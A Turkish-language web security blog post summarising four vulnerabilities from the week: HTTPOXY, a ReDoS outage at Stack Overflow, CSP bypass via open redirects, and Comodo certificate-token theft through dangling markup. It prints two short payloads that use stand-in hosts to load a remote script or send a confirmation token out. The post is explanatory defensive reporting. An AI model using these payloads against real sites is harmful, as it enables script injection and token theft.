Haftanın Hackleri : HTTPOXY, ReDos, CSP Bypass, Dangling Markup ile Token Çalma

Alperen Yilmaz - 01 Ağustos 2016 -

Bildiğiniz gibi geçen hafta Netsparker Türkiye Blog sayfasını açarak yeni bir serüvene başladık. Türkiye’deki topluluğa katkı sağlamak amacıyla açtığımız blog sayfamızda sadece teknik anlatımlara değil, o hafta web güvenliğinde ilgimizi çeken konularıda paylaşmayı planlıyoruz. “Haftanın Hackleri” başlığı ile yayınlayacağımız bu yazıları sosyal medyada #haftaninhackleri etiketi ile paylaşarak bizlere destek olabilirsiniz. Ve karşınızda web güvenliğinde bu hafta dikkatimizi çeken konular :

Haftanın Hackleri : HTTPOXY, ReDos, CSP Bypass, Dangling Markup ile Token Çalma

Bildiğiniz gibi geçen hafta Netsparker Türkiye Blog sayfasını açarak yeni bir serüvene başladık. Türkiye’deki topluluğa katkı sağlamak amacıyla açtığımız blog sayfamızda sadece teknik anlatımlara değil, o hafta web güvenliğinde ilgimizi çeken konuları da paylaşmayı planlıyoruz. “Haftanın Hackleri” başlığı ile yayınlayacağımız bu yazıları sosyal medyada #haftaninhackleri etiketi ile paylaşarak bizlere destek olabilirsiniz.

Ve karşınızda web güvenliğinde bu hafta dikkatimizi çeken konular :

HTTPOXY

Eğer sunucuda CGI kullanılıyorsa, HTTP header'ları sunucuya geldiğinde bu header'lar sistemde çevresel değişken (environment variable) olarak yazılmaktadır.

Linux dağıtımlarında, proxy yapılandırması için HTTP_PROXY çevresel değişkeni tanımlanmaktadır. CGI'dan gelen header'lar, sisteme değişken olarak yazılıyorsa, bu değişkenin CGI'dan tanımlanabildiği keşfedildi. Böylelikle sunucuya proxy custom header’ını içeren bir HTTP isteği geldiğinde, proxy değişkeni saldırgan tarafından kontrol edilebiliyor. Bu durum, proxy ayarının değiştirilerek, proxy ile ilişkili olan bütün uygulamaların isteklerini yeni ayarlanan proxy üzerinden yapılmasına ve trafiğin ele geçirilmesine neden oluyor.

Bu konu ile ilgili daha fazla bilgi ve detaylar için : https://httpoxy.org/

Stackoverflow'daki ReDoS Sorunu

Evil Regex adı verilen, bir Regex şablonu içerisinde bulunan zararlı kod parçacıkları, işlevin tamamlanmasının çok vakit almasına neden olarak, ReDos zafiyetine yol açabilmektedir.

Bu zafiyet, oldukça popüler bir site olan Stackoverflow'un erişimini yaklaşık 30 dakikalığına durdurdu. Peki arka planda neler oldu? Stackoverflow'da yazılan bir Regex, yorum satırlarının sonlarındaki boşluk karakterlerini silmeyi sağlıyordu. Saldırgan, yorum satırına hemen hemen 20.000 adet boşluk karakteri ekledi. Boşluk karakteri satırın sonunda bulunmadığı için, son karaktere gelene kadar boşluklar üzerinden ilerlemeye çalışıyordu, bu da ReDos'a neden oluyordu.

Bu konu ile ilgili daha fazla bilgi ve detaylar için : http://stackstatus.net/post/147710624694/outage-postmortem-july-20-2016

Open Redirect açıkları ile CSP Bypass'ı

Eğer web sayfamızda “Open Redirection” bulunuyorsa, bu zafiyet istismarı ile başka bir kaynaktan script yükleyerek, CSP'i bypass edebiliriz.

Örneğin :

<script src="//example.com/scripts/file.php?go=//google.com/evil/script.js"></script>

Burada CSP’nin “src” özelliğine “self” ataması yaptıysanız bile engellemiyor. Buna çözüm olarak ‘src’ özelliğinde spesifik olarak path yazmalısınız.

Bu konu ile ilgili daha fazla bilgi ve detaylar için : https://chloe.re/2016/07/25/bypassing-paths-with-open-redirects-in-csp/

Dangling Markup Injection Onay Kodu Çalınabilmesi

Comodo’nun sertifika başvuru sayfasında Markup Injection olduğuna dair bir yazı yayınlandı. Olay şu şekilde gerçekleşiyordu:

  • Saldırgan sertifika almak istediği site adresi için form doldurmaya başlıyor ve e-mail onay kısmında, alan adının kayıtlı olduğu adrese onay maili gönderiliyor.
  • Saldırgan eğer site sahibine giden onay mailindeki token’ı almayı başarırsa o site için sertifikayı alma imkanına sahip oluyor. Saldırgan formda doldurduğu alanları gelen mailde olduğunu görüyor ve burada HTML göndermeyi deniyor.
  • Form alanında HTML gönderebildiğini gören saldırganımız aşağıdaki şekilde bir veri girişi yapıyor.
<form action="http://example.com/"><button type="submit">Click here to reject this request.</button><textarea style="width: 0px; max-height: 0px;" name="l">

Formda textarea etiketini kapatmıyor ve e-mailin devamında gelen token’ı da içerdiği için eğer site sahibi butona tıklarsa token içeriğini saldırganımız elde etmiş oluyor. Burada oltalama (phishing) amacıyla “Click here to reject this request” (Talebi reddetmek için tıklayın) yazıyor ve zaten site sahibi böyle bir başvuruda bulunmadığı için reddediyor ve şüphelenmesi epey zorlaşıyor.

Bu konu ile ilgili daha fazla bilgi ve detaylar için :
https://thehackerblog.com/keeping-positive-obtaining-arbitrary-wildcard-ssl-certificates-from-comodo-via-dangling-markup-injection/index.html

Alperen Yılmaz & Deniz Parlak